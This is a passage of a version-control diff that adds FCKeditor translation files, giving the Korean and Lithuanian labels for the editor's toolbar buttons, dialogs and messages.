+DlgGenName			: "Name",
+DlgGenTabIndex		: "탭 순서",
+DlgGenLongDescr		: "URL 설명",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "이미지 설정",
+DlgImgInfoTab		: "이미지 정보",
+DlgImgBtnUpload		: "서버로 전송",
+DlgImgURL			: "URL",
+DlgImgUpload		: "업로드",
+DlgImgAlt			: "이미지 설명",
+DlgImgWidth			: "너비",
+DlgImgHeight		: "높이",
+DlgImgLockRatio		: "비율 유지",
+DlgBtnResetSize		: "원래 크기로",
+DlgImgBorder		: "테두리",
+DlgImgHSpace		: "수평여백",
+DlgImgVSpace		: "수직여백",
+DlgImgAlign			: "정렬",
+DlgImgAlignLeft		: "왼쪽",
+DlgImgAlignAbsBottom: "줄아래(Abs Bottom)",
+DlgImgAlignAbsMiddle: "줄중간(Abs Middle)",
+DlgImgAlignBaseline	: "기준선",
+DlgImgAlignBottom	: "아래",
+DlgImgAlignMiddle	: "중간",
+DlgImgAlignRight	: "오른쪽",
+DlgImgAlignTextTop	: "글자위(Text Top)",
+DlgImgAlignTop		: "위",
+DlgImgPreview		: "미리보기",
+DlgImgAlertUrl		: "이미지 URL을 입력하십시요",
+DlgImgLinkTab		: "링크",
+
+// Flash Dialog
+DlgFlashTitle		: "플래쉬 등록정보",
+DlgFlashChkPlay		: "자동재생",
+DlgFlashChkLoop		: "반복",
+DlgFlashChkMenu		: "플래쉬메뉴 가능",
+DlgFlashScale		: "영역",
+DlgFlashScaleAll	: "모두보기",
+DlgFlashScaleNoBorder	: "경계선없음",
+DlgFlashScaleFit	: "영역자동조절",
+
+// Link Dialog
+DlgLnkWindowTitle	: "링크",
+DlgLnkInfoTab		: "링크 정보",
+DlgLnkTargetTab		: "타겟",
+
+DlgLnkType			: "링크 종류",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "책갈피",
+DlgLnkTypeEMail		: "이메일",
+DlgLnkProto			: "프로토콜",
+DlgLnkProtoOther	: "<기타>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "책갈피 선택",
+DlgLnkAnchorByName	: "책갈피 이름",
+DlgLnkAnchorById	: "책갈피 ID",
+DlgLnkNoAnchors		: "<문서에 책갈피가 없습니다.>",
+DlgLnkEMail			: "이메일 주소",
+DlgLnkEMailSubject	: "제목",
+DlgLnkEMailBody		: "내용",
+DlgLnkUpload		: "업로드",
+DlgLnkBtnUpload		: "서버로 전송",
+
+DlgLnkTarget		: "타겟",
+DlgLnkTargetFrame	: "<프레임>",
+DlgLnkTargetPopup	: "<팝업창>",
+DlgLnkTargetBlank	: "새 창 (_blank)",
+DlgLnkTargetParent	: "부모 창 (_parent)",
+DlgLnkTargetSelf	: "현재 창 (_self)",
+DlgLnkTargetTop		: "최 상위 창 (_top)",
+DlgLnkTargetFrameName	: "타겟 프레임 이름",
+DlgLnkPopWinName	: "팝업창 이름",
+DlgLnkPopWinFeat	: "팝업창 설정",
+DlgLnkPopResize		: "크기조정",
+DlgLnkPopLocation	: "주소표시줄",
+DlgLnkPopMenu		: "메뉴바",
+DlgLnkPopScroll		: "스크롤바",
+DlgLnkPopStatus		: "상태바",
+DlgLnkPopToolbar	: "툴바",
+DlgLnkPopFullScrn	: "전체화면 (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "너비",
+DlgLnkPopHeight		: "높이",
+DlgLnkPopLeft		: "왼쪽 위치",
+DlgLnkPopTop		: "윗쪽 위치",
+
+DlnLnkMsgNoUrl		: "링크 URL을 입력하십시요.",
+DlnLnkMsgNoEMail	: "이메일주소를 입력하십시요.",
+DlnLnkMsgNoAnchor	: "책갈피명을 입력하십시요.",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "색상 선택",
+DlgColorBtnClear	: "지우기",
+DlgColorHighlight	: "현재",
+DlgColorSelected	: "선택됨",
+
+// Smiley Dialog
+DlgSmileyTitle		: "아이콘 삽입",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "특수문자 선택",
+
+// Table Dialog
+DlgTableTitle		: "표 설정",
+DlgTableRows		: "가로줄",
+DlgTableColumns		: "세로줄",
+DlgTableBorder		: "테두리 크기",
+DlgTableAlign		: "정렬",
+DlgTableAlignNotSet	: "<설정되지 않음>",
+DlgTableAlignLeft	: "왼쪽",
+DlgTableAlignCenter	: "가운데",
+DlgTableAlignRight	: "오른쪽",
+DlgTableWidth		: "너비",
+DlgTableWidthPx		: "픽셀",
+DlgTableWidthPc		: "퍼센트",
+DlgTableHeight		: "높이",
+DlgTableCellSpace	: "셀 간격",
+DlgTableCellPad		: "셀 여백",
+DlgTableCaption		: "캡션",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "셀 설정",
+DlgCellWidth		: "너비",
+DlgCellWidthPx		: "픽셀",
+DlgCellWidthPc		: "퍼센트",
+DlgCellHeight		: "높이",
+DlgCellWordWrap		: "워드랩",
+DlgCellWordWrapNotSet	: "<설정되지 않음>",
+DlgCellWordWrapYes	: "예",
+DlgCellWordWrapNo	: "아니오",
+DlgCellHorAlign		: "수평 정렬",
+DlgCellHorAlignNotSet	: "<설정되지 않음>",
+DlgCellHorAlignLeft	: "왼쪽",
+DlgCellHorAlignCenter	: "가운데",
+DlgCellHorAlignRight: "오른쪽",
+DlgCellVerAlign		: "수직 정렬",
+DlgCellVerAlignNotSet	: "<설정되지 않음>",
+DlgCellVerAlignTop	: "위",
+DlgCellVerAlignMiddle	: "중간",
+DlgCellVerAlignBottom	: "아래",
+DlgCellVerAlignBaseline	: "기준선",
+DlgCellRowSpan		: "세로 합치기",
+DlgCellCollSpan		: "가로 합치기",
+DlgCellBackColor	: "배경 색상",
+DlgCellBorderColor	: "테두리 색상",
+DlgCellBtnSelect	: "선택",
+
+// Find Dialog
+DlgFindTitle		: "찾기",
+DlgFindFindBtn		: "찾기",
+DlgFindNotFoundMsg	: "문자열을 찾을 수 없습니다.",
+
+// Replace Dialog
+DlgReplaceTitle			: "바꾸기",
+DlgReplaceFindLbl		: "찾을 문자열:",
+DlgReplaceReplaceLbl	: "바꿀 문자열:",
+DlgReplaceCaseChk		: "대소문자 구분",
+DlgReplaceReplaceBtn	: "바꾸기",
+DlgReplaceReplAllBtn	: "모두 바꾸기",
+DlgReplaceWordChk		: "온전한 단어",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "브라우저의 보안설정때문에 붙여넣기 기능을 실행할 수 없습니다. 키보드 명령을 사용하십시요. (Ctrl+V).",
+PasteErrorCut	: "브라우저의 보안설정때문에 잘라내기 기능을 실행할 수 없습니다. 키보드 명령을 사용하십시요. (Ctrl+X).",
+PasteErrorCopy	: "브라우저의 보안설정때문에 복사하기 기능을 실행할 수 없습니다. 키보드 명령을 사용하십시요.  (Ctrl+C).",
+
+PasteAsText		: "텍스트로 붙여넣기",
+PasteFromWord	: "MS Word 형식에서 붙여넣기",
+
+DlgPasteMsg2	: "키보드의 (<STRONG>Ctrl+V</STRONG>) 를 이용해서 상자안에 붙여넣고 <STRONG>OK</STRONG> 를 누르세요.",
+DlgPasteIgnoreFont		: "폰트 설정 무시",
+DlgPasteRemoveStyles	: "스타일 정의 제거",
+DlgPasteCleanBox		: "글상자 제거",
+
+// Color Picker
+ColorAutomatic	: "기본색상",
+ColorMoreColors	: "색상선택...",
+
+// Document Properties
+DocProps		: "문서 속성",
+
+// Anchor Dialog
+DlgAnchorTitle		: "책갈피 속성",
+DlgAnchorName		: "책갈피 이름",
+DlgAnchorErrorName	: "책갈피 이름을 입력하십시요.",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "사전에 없는 단어",
+DlgSpellChangeTo		: "변경할 단어",
+DlgSpellBtnIgnore		: "건너뜀",
+DlgSpellBtnIgnoreAll	: "모두 건너뜀",
+DlgSpellBtnReplace		: "변경",
+DlgSpellBtnReplaceAll	: "모두 변경",
+DlgSpellBtnUndo			: "취소",
+DlgSpellNoSuggestions	: "- 추천단어 없음 -",
+DlgSpellProgress		: "철자검사를 진행중입니다...",
+DlgSpellNoMispell		: "철자검사 완료: 잘못된 철자가 없습니다.",
+DlgSpellNoChanges		: "철자검사 완료: 변경된 단어가 없습니다.",
+DlgSpellOneChange		: "철자검사 완료: 단어가 변경되었습니다.",
+DlgSpellManyChanges		: "철자검사 완료: %1 단어가 변경되었습니다.",
+
+IeSpellDownload			: "철자 검사기가 철치되지 않았습니다. 지금 다운로드하시겠습니까?",
+
+// Button Dialog
+DlgButtonText		: "버튼글자(값)",
+DlgButtonType		: "버튼종류",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "이름",
+DlgCheckboxValue	: "값",
+DlgCheckboxSelected	: "선택됨",
+
+// Form Dialog
+DlgFormName		: "폼이름",
+DlgFormAction	: "실행경로(Action)",
+DlgFormMethod	: "방법(Method)",
+
+// Select Field Dialog
+DlgSelectName		: "이름",
+DlgSelectValue		: "값",
+DlgSelectSize		: "세로크기",
+DlgSelectLines		: "줄",
+DlgSelectChkMulti	: "여러항목 선택 허용",
+DlgSelectOpAvail	: "선택옵션",
+DlgSelectOpText		: "이름",
+DlgSelectOpValue	: "값",
+DlgSelectBtnAdd		: "추가",
+DlgSelectBtnModify	: "변경",
+DlgSelectBtnUp		: "위로",
+DlgSelectBtnDown	: "아래로",
+DlgSelectBtnSetValue : "선택된것으로 설정",
+DlgSelectBtnDelete	: "삭제",
+
+// Textarea Dialog
+DlgTextareaName	: "이름",
+DlgTextareaCols	: "칸수",
+DlgTextareaRows	: "줄수",
+
+// Text Field Dialog
+DlgTextName			: "이름",
+DlgTextValue		: "값",
+DlgTextCharWidth	: "글자 너비",
+DlgTextMaxChars		: "최대 글자수",
+DlgTextType			: "종류",
+DlgTextTypeText		: "문자열",
+DlgTextTypePass		: "비밀번호",
+
+// Hidden Field Dialog
+DlgHiddenName	: "이름",
+DlgHiddenValue	: "값",
+
+// Bulleted List Dialog
+BulletedListProp	: "순서없는 목록 속성",
+NumberedListProp	: "순서있는 목록 속성",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "종류",
+DlgLstTypeCircle	: "원(Circle)",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "네모점(Square)",
+DlgLstTypeNumbers	: "번호 (1, 2, 3)",
+DlgLstTypeLCase		: "소문자 (a, b, c)",
+DlgLstTypeUCase		: "대문자 (A, B, C)",
+DlgLstTypeSRoman	: "로마자 수문자 (i, ii, iii)",
+DlgLstTypeLRoman	: "로마자 대문자 (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "일반",
+DlgDocBackTab		: "배경",
+DlgDocColorsTab		: "색상 및 여백",
+DlgDocMetaTab		: "메타데이터",
+
+DlgDocPageTitle		: "페이지명",
+DlgDocLangDir		: "문자 쓰기방향",
+DlgDocLangDirLTR	: "왼쪽에서 오른쪽 (LTR)",
+DlgDocLangDirRTL	: "오른쪽에서 왼쪽 (RTL)",
+DlgDocLangCode		: "언어코드",
+DlgDocCharSet		: "캐릭터셋 인코딩",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "다른 캐릭터셋 인코딩",
+
+DlgDocDocType		: "문서 헤드",
+DlgDocDocTypeOther	: "다른 문서헤드",
+DlgDocIncXHTML		: "XHTML 문서정의 포함",
+DlgDocBgColor		: "배경색상",
+DlgDocBgImage		: "배경이미지 URL",
+DlgDocBgNoScroll	: "스크롤되지않는 배경",
+DlgDocCText			: "텍스트",
+DlgDocCLink			: "링크",
+DlgDocCVisited		: "방문한 링크(Visited)",
+DlgDocCActive		: "활성화된 링크(Active)",
+DlgDocMargins		: "페이지 여백",
+DlgDocMaTop			: "위",
+DlgDocMaLeft		: "왼쪽",
+DlgDocMaRight		: "오른쪽",
+DlgDocMaBottom		: "아래",
+DlgDocMeIndex		: "문서 키워드 (콤마로 구분)",
+DlgDocMeDescr		: "문서 설명",
+DlgDocMeAuthor		: "작성자",
+DlgDocMeCopy		: "저작권",
+DlgDocPreview		: "미리보기",
+
+// Templates Dialog
+Templates			: "템플릿",
+DlgTemplatesTitle	: "내용 템플릿",
+DlgTemplatesSelMsg	: "에디터에서 사용할 템플릿을 선택하십시요.<br>(지금까지 작성된 내용은 사라집니다.):",
+DlgTemplatesLoading	: "템플릿 목록을 불러오는중입니다. 잠시만 기다려주십시요.",
+DlgTemplatesNoTpl	: "(템플릿이 없습니다.)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "About",
+DlgAboutBrowserInfoTab	: "브라우저 정보",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "버전",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "For further information go to"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lt.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lt.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lt.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: lt.js
+ * 	Lithuanian language file.
+ * 
+ * File Authors:
+ * 		Tauras Paliulis (tauras.paliulis@tauras.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Sutraukti mygtukų juostą",
+ToolbarExpand		: "Išplėsti mygtukų juostą",
+
+// Toolbar Items and Context Menu
+Save				: "Išsaugoti",
+NewPage				: "Naujas puslapis",
+Preview				: "Peržiūra",
+Cut					: "Iškirpti",
+Copy				: "Kopijuoti",
+Paste				: "Įdėti",
+PasteText			: "Įdėti kaip gryną tekstą",
+PasteWord			: "Įdėti iš Word",
+Print				: "Spausdinti",
+SelectAll			: "Pažymėti viską",
+RemoveFormat		: "Panaikinti formatą",
+InsertLinkLbl		: "Nuoroda",
+InsertLink			: "Įterpti/taisyti nuorodą",
+RemoveLink			: "Panaikinti nuorodą",
+Anchor				: "Įterpti/modifikuoti žymę",
+InsertImageLbl		: "Vaizdas",
+InsertImage			: "Įterpti/taisyti vaizdą",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Įterpti/taisyti Flash",
+InsertTableLbl		: "Lentelė",
+InsertTable			: "Įterpti/taisyti lentelę",
+InsertLineLbl		: "Linija",
+InsertLine			: "Įterpti horizontalią liniją",
+InsertSpecialCharLbl: "Spec. simbolis",
+InsertSpecialChar	: "Įterpti specialų simbolį",
+InsertSmileyLbl		: "Veideliai",
+InsertSmiley		: "Įterpti veidelį",
+About				: "Apie FCKeditor",
+Bold				: "Pusjuodis",
+Italic				: "Kursyvas",
+Underline			: "Pabrauktas",
+StrikeThrough		: "Perbrauktas",
+Subscript			: "Apatinis indeksas",
+Superscript			: "Viršutinis indeksas",
+LeftJustify			: "Lygiuoti kairę",
+CenterJustify		: "Centruoti",
+RightJustify		: "Lygiuoti dešinę",
+BlockJustify		: "Lygiuoti abi puses",
+DecreaseIndent		: "Sumažinti įtrauką",
+IncreaseIndent		: "Padidinti įtrauką",
+Undo				: "Atšaukti",
+Redo				: "Atstatyti",
+NumberedListLbl		: "Numeruotas sąrašas",
+NumberedList		: "Įterpti/Panaikinti numeruotą sąrašą",
+BulletedListLbl		: "Suženklintas sąrašas",
+BulletedList		: "Įterpti/Panaikinti suženklintą sąrašą",
+ShowTableBorders	: "Rodyti lentelės rėmus",
+ShowDetails			: "Rodyti detales",
+Style				: "Stilius",
+FontFormat			: "Šrifto formatas",
+Font				: "Šriftas",
+FontSize			: "Šrifto dydis",
+TextColor			: "Teksto spalva",
+BGColor				: "Fono spalva",
+Source				: "Šaltinis",
+Find				: "Rasti",
+Replace				: "Pakeisti",
+SpellCheck			: "Rašybos tikrinimas",
+UniversalKeyboard	: "Universali klaviatūra",
+PageBreakLbl		: "Puslapių skirtukas",
+PageBreak			: "Įterpti puslapių skirtuką",
+
+Form			: "Forma",
+Checkbox		: "Žymimasis langelis",
+RadioButton		: "Žymimoji akutė",
+TextField		: "Teksto laukas",
+Textarea		: "Teksto sritis",
+HiddenField		: "Nerodomas laukas",
+Button			: "Mygtukas",
+SelectionField	: "Atrankos laukas",
+ImageButton		: "Vaizdinis mygtukas",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Taisyti nuorodą",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Įterpti eilutę",
+DeleteRows			: "Šalinti eilutes",
+InsertColumn		: "Įterpti stulpelį",
+DeleteColumns		: "Šalinti stulpelius",
+InsertCell			: "Įterpti langelį",
+DeleteCells			: "Šalinti langelius",
+MergeCells			: "Sujungti langelius",
+SplitCell			: "Skaidyti langelius",
+TableDelete			: "Šalinti lentelę",
+CellProperties		: "Langelio savybės",
+TableProperties		: "Lentelės savybės",
+ImageProperties		: "Vaizdo savybės",
+FlashProperties		: "Flash savybės",
+
+AnchorProp			: "Žymės savybės",
+ButtonProp			: "Mygtuko savybės",
+CheckboxProp		: "Žymimojo langelio savybės",
+HiddenFieldProp		: "Nerodomo lauko savybės",
+RadioButtonProp		: "Žymimosios akutės savybės",
+ImageButtonProp		: "Vaizdinio mygtuko savybės",
+TextFieldProp		: "Teksto lauko savybės",
+SelectionFieldProp	: "Atrankos lauko savybės",
+TextareaProp		: "Teksto srities savybės",
+FormProp			: "Formos savybės",
+
+FontFormats			: "Normalus;Formuotas;Kreipinio;Antraštinis 1;Antraštinis 2;Antraštinis 3;Antraštinis 4;Antraštinis 5;Antraštinis 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Apdorojamas XHTML. Prašome palaukti...",
+Done				: "Baigta",
+PasteWordConfirm	: "Įdedamas tekstas yra panašus į kopiją iš Word. Ar Jūs norite prieš įdėjimą išvalyti jį?",
+NotCompatiblePaste	: "Ši komanda yra prieinama tik per Internet Explorer 5.5 ar aukštesnę versiją. Ar Jūs norite įterpti be valymo?",
+UnknownToolbarItem	: "Nežinomas mygtukų juosta elementas \"%1\"",
+UnknownCommand		: "Nežinomas komandos vardas \"%1\"",
+NotImplemented		: "Komanda nėra įgyvendinta",
+UnknownToolbarSet	: "Mygtukų juostos rinkinys \"%1\" neegzistuoja",
+NoActiveX			: "Jūsų naršyklės saugumo nuostatos gali riboti kai kurias redaktoriaus savybes. Jūs turite aktyvuoti opciją \"Run ActiveX controls and plug-ins\". Kitu atveju Jums bus pranešama apie klaidas ir trūkstamas savybes.",
+BrowseServerBlocked : "Neįmanoma atidaryti naujo naršyklės lango. Įsitikinkite, kad iškylančių langų blokavimo programos neveiksnios.",
+DialogBlocked		: "Neįmanoma atidaryti dialogo lango. Įsitikinkite, kad iškylančių langų blokavimo programos neveiksnios.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Nutraukti",
+DlgBtnClose			: "Uždaryti",
+DlgBtnBrowseServer	: "Naršyti po serverį",
+DlgAdvancedTag		: "Papildomas",
+DlgOpOther			: "<Kita>",
+DlgInfoTab			: "Informacija",
+DlgAlertUrl			: "Prašome įrašyti URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nėra nustatyta>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Teksto kryptis",
+DlgGenLangDirLtr	: "Iš kairės į dešinę (LTR)",
+DlgGenLangDirRtl	: "Iš dešinės į kairę (RTL)",
+DlgGenLangCode		: "Kalbos kodas",
+DlgGenAccessKey		: "Prieigos raktas",
+DlgGenName			: "Vardas",
+DlgGenTabIndex		: "Tabuliavimo indeksas",
+DlgGenLongDescr		: "Ilgas aprašymas URL",
+DlgGenClass			: "Stilių lentelės klasės",
+DlgGenTitle			: "Konsultacinė antraštė",
+DlgGenContType		: "Konsultacinio turinio tipas",
+DlgGenLinkCharset	: "Susietų išteklių simbolių lentelė",
+DlgGenStyle			: "Stilius",
+
+// Image Dialog
+DlgImgTitle			: "Vaizdo savybės",
+DlgImgInfoTab		: "Vaizdo informacija",
+DlgImgBtnUpload		: "Siųsti į serverį",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Nusiųsti",
+DlgImgAlt			: "Alternatyvus Tekstas",
+DlgImgWidth			: "Plotis",
+DlgImgHeight		: "Aukštis",
+DlgImgLockRatio		: "Išlaikyti proporciją",
+DlgBtnResetSize		: "Atstatyti dydį",
+DlgImgBorder		: "Rėmelis",
+DlgImgHSpace		: "Hor.Erdvė",
+DlgImgVSpace		: "Vert.Erdvė",
+DlgImgAlign			: "Lygiuoti",
+DlgImgAlignLeft		: "Kairę",
+DlgImgAlignAbsBottom: "Absoliučią apačią",
+DlgImgAlignAbsMiddle: "Absoliutų vidurį",
+DlgImgAlignBaseline	: "Apatinę liniją",
+DlgImgAlignBottom	: "Apačią",
+DlgImgAlignMiddle	: "Vidurį",
+DlgImgAlignRight	: "Dešinę",
+DlgImgAlignTextTop	: "Teksto viršūnę",
+DlgImgAlignTop		: "Viršūnę",
+DlgImgPreview		: "Peržiūra",
+DlgImgAlertUrl		: "Prašome įvesti vaizdo URL",
+DlgImgLinkTab		: "Nuoroda",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash savybės",
+DlgFlashChkPlay		: "Automatinis paleidimas",
+DlgFlashChkLoop		: "Ciklas",
+DlgFlashChkMenu		: "Leisti Flash meniu",
+DlgFlashScale		: "Mastelis",
+DlgFlashScaleAll	: "Rodyti visą",
+DlgFlashScaleNoBorder	: "Be rėmelio",
+DlgFlashScaleFit	: "Tikslus atitikimas",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Nuoroda",
+DlgLnkInfoTab		: "Nuorodos informacija",
+DlgLnkTargetTab		: "Paskirtis",
+
+DlgLnkType			: "Nuorodos tipas",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Žymė šiame puslapyje",
+DlgLnkTypeEMail		: "El.paštas",
+DlgLnkProto			: "Protokolas",
+DlgLnkProtoOther	: "<kitas>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Pasirinkite žymę",
+DlgLnkAnchorByName	: "Pagal žymės vardą",
+DlgLnkAnchorById	: "Pagal žymės Id",
+DlgLnkNoAnchors		: "<Šiame dokumente žymių nėra>",
+DlgLnkEMail			: "El.pašto adresas",
+DlgLnkEMailSubject	: "Žinutės tema",
+DlgLnkEMailBody		: "Žinutės turinys",
+DlgLnkUpload		: "Siųsti",
+DlgLnkBtnUpload		: "Siųsti į serverį",
+
+DlgLnkTarget		: "Paskirties vieta",
+DlgLnkTargetFrame	: "<kadras>",
+DlgLnkTargetPopup	: "<išskleidžiamas langas>",
+DlgLnkTargetBlank	: "Naujas langas (_blank)",
+DlgLnkTargetParent	: "Pirminis langas (_parent)",
+DlgLnkTargetSelf	: "Tas pats langas (_self)",
+DlgLnkTargetTop		: "Svarbiausias langas (_top)",
+DlgLnkTargetFrameName	: "Paskirties kadro vardas",
+DlgLnkPopWinName	: "Paskirties lango vardas",
+DlgLnkPopWinFeat	: "Išskleidžiamo lango savybės",
+DlgLnkPopResize		: "Keičiamas dydis",
+DlgLnkPopLocation	: "Adreso juosta",
+DlgLnkPopMenu		: "Meniu juosta",
+DlgLnkPopScroll		: "Slinkties juostos",
+DlgLnkPopStatus		: "Būsenos juosta",
+DlgLnkPopToolbar	: "Mygtukų juosta",
+DlgLnkPopFullScrn	: "Visas ekranas (IE)",
+DlgLnkPopDependent	: "Priklausomas (Netscape)",
+DlgLnkPopWidth		: "Plotis",
+DlgLnkPopHeight		: "Aukštis",
+DlgLnkPopLeft		: "Kairė pozicija",
+DlgLnkPopTop		: "Viršutinė pozicija",
+
+DlnLnkMsgNoUrl		: "Prašome įvesti nuorodos URL",
+DlnLnkMsgNoEMail	: "Prašome įvesti el.pašto adresą",
+DlnLnkMsgNoAnchor	: "Prašome pasirinkti žymę",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Pasirinkite spalvą",
+DlgColorBtnClear	: "Trinti",
+DlgColorHighlight	: "Paryškinta",
+DlgColorSelected	: "Pažymėta",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Įterpti veidelį",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Pasirinkite specialų simbolį",
+
+// Table Dialog
+DlgTableTitle		: "Lentelės savybės",
+DlgTableRows		: "Eilutės",
+DlgTableColumns		: "Stulpeliai",
+DlgTableBorder		: "Rėmelio dydis",
+DlgTableAlign		: "Lygiuoti",
+DlgTableAlignNotSet	: "<Nenustatyta>",
+DlgTableAlignLeft	: "Kairę",
+DlgTableAlignCenter	: "Centrą",
+DlgTableAlignRight	: "Dešinę",
+DlgTableWidth		: "Plotis",
+DlgTableWidthPx		: "taškais",
+DlgTableWidthPc		: "procentais",
+DlgTableHeight		: "Aukštis",
+DlgTableCellSpace	: "Tarpas tarp langelių",
+DlgTableCellPad		: "Trapas nuo langelio rėmo iki teksto",
+DlgTableCaption		: "Antraštė",
+DlgTableSummary		: "Santrauka",
+
+// Table Cell Dialog
+DlgCellTitle		: "Langelio savybės",
+DlgCellWidth		: "Plotis",
+DlgCellWidthPx		: "taškais",
+DlgCellWidthPc		: "procentais",
+DlgCellHeight		: "Aukštis",
+DlgCellWordWrap		: "Teksto laužymas",
+DlgCellWordWrapNotSet	: "<Nenustatyta>",
+DlgCellWordWrapYes	: "Taip",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Horizontaliai lygiuoti",
+DlgCellHorAlignNotSet	: "<Nenustatyta>",
+DlgCellHorAlignLeft	: "Kairę",
+DlgCellHorAlignCenter	: "Centrą",
+DlgCellHorAlignRight: "Dešinę",
+DlgCellVerAlign		: "Vertikaliai lygiuoti",
+DlgCellVerAlignNotSet	: "<Nenustatyta>",
+DlgCellVerAlignTop	: "Viršų",
+DlgCellVerAlignMiddle	: "Vidurį",
+DlgCellVerAlignBottom	: "Apačią",
+DlgCellVerAlignBaseline	: "Apatinę liniją",
+DlgCellRowSpan		: "Eilučių apjungimas",
+DlgCellCollSpan		: "Stulpelių apjungimas",
+DlgCellBackColor	: "Fono spalva",
+DlgCellBorderColor	: "Rėmelio spalva",
+DlgCellBtnSelect	: "Pažymėti...",
+
+// Find Dialog
+DlgFindTitle		: "Paieška",
+DlgFindFindBtn		: "Surasti",
+DlgFindNotFoundMsg	: "Nurodytas tekstas nerastas.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Pakeisti",
+DlgReplaceFindLbl		: "Surasti tekstą:",
+DlgReplaceReplaceLbl	: "Pakeisti tekstu:",
+DlgReplaceCaseChk		: "Skirti didžiąsias ir mažąsias raides",
+DlgReplaceReplaceBtn	: "Pakeisti",
+DlgReplaceReplAllBtn	: "Pakeisti viską",
+DlgReplaceWordChk		: "Atitikti pilną žodį",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Jūsų naršyklės saugumo nustatymai neleidžia redaktoriui automatiškai įvykdyti įdėjimo operacijų. Tam prašome naudoti klaviatūrą (Ctrl+V).",
+PasteErrorCut	: "Jūsų naršyklės saugumo nustatymai neleidžia redaktoriui automatiškai įvykdyti iškirpimo operacijų. Tam prašome naudoti klaviatūrą (Ctrl+X).",
+PasteErrorCopy	: "Jūsų naršyklės saugumo nustatymai neleidžia redaktoriui automatiškai įvykdyti kopijavimo operacijų. Tam prašome naudoti klaviatūrą (Ctrl+C).",
+
+PasteAsText		: "Įdėti kaip gryną tekstą",
+PasteFromWord	: "Įdėti iš Word",
+
+DlgPasteMsg2	: "Žemiau esančiame įvedimo lauke įdėkite tekstą, naudodami klaviatūrą (<STRONG>Ctrl+V</STRONG>) ir spūstelkite mygtuką <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoruoti šriftų nustatymus",
+DlgPasteRemoveStyles	: "Pašalinti stilių nustatymus",
+DlgPasteCleanBox		: "Trinti įvedimo lauką",
+
+// Color Picker
+ColorAutomatic	: "Automatinis",
+ColorMoreColors	: "Daugiau spalvų...",
+
+// Document Properties
+DocProps		: "Dokumento savybės",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Žymės savybės",
+DlgAnchorName		: "Žymės vardas",
+DlgAnchorErrorName	: "Prašome įvesti žymės vardą",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Žodyne nerastas",
+DlgSpellChangeTo		: "Pakeisti į",
